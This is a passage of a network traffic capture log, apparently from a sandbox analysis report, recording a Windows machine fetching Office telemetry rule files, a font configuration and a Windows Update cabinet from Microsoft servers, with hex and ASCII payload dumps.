</SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:26 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:26 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: aae5b6c6-f01e-005d-7a06-4813ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172626Z-r1cf579d778z4wflhC1EWRa3h000000002x0000000009dsc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:26 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	49741	2.16.229.162	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:27 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-07 17:26:28 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=188346 Date: Sat, 07 Dec 2024 17:26:28 GMT Content-Length: 55 Connection: close X-CID: 2
2024-12-07 17:26:28 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49731	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:28 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=27rhDXmSeoS1m3O&MD=LTrsryzY HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-07 17:26:28 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 0167ad94-f099-4f0e-9007-69ff051f9e6b MS-RequestId: 3bfea91f-e799-42d7-9847-5c7b188db1de MS-CV: oJ6Lv32kgESZuauU.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 07 Dec 2024 17:26:27 GMT Connection: close Content-Length: 24490
2024-12-07 17:26:28 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-12-07 17:26:28 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:28 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:28 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: ad3e0835-e01e-0033-5701-484695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172628Z-r1cf579d7788pwqzhC1EWRrpd8000000035g000000006wuk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:28 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:28 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:28 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 229463e4-b01e-0021-2a03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172628Z-r1cf579d778t5c2lhC1EWRce3w00000003q0000000002s8n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:29 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:28 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: f6d2a488-401e-000a-7403-484a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172628Z-r1cf579d7789trgthC1EWRkkfc00000003h0000000009sph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:28 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:28 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 987987f9-101e-0034-0e02-4896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172628Z-r1cf579d7784wpmvhC1EWRk4cn00000002dg000000004ubb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:29 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:28 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: c060231a-801e-00ac-2403-48fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172628Z-r1cf579d778g2t6ghC1EWRfggs0000000290000000008ybz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.7	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:30 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:30 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: e9e1dff1-101e-0065-7303-484088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172630Z-r1cf579d778dndrdhC1EWR4b2400000002n0000000004ubz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:31 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.7	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:30 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:31 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 90f2e2a0-001e-0014-5807-485151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172631Z-r1cf579d77867vg8hC1EWR8knc00000002u0000000004rpx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:31 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:30 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:31 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 90a12f2a-001e-0079-1603-4812e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172631Z-r1cf579d778xr2r4hC1EWRqvfs0000000330000000001dzw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:31 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.7	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:30 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:31 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 7b99b195-101e-0017-7009-4847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172631Z-r1cf579d778mvsklhC1EWRkavg0000000360000000006rzt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
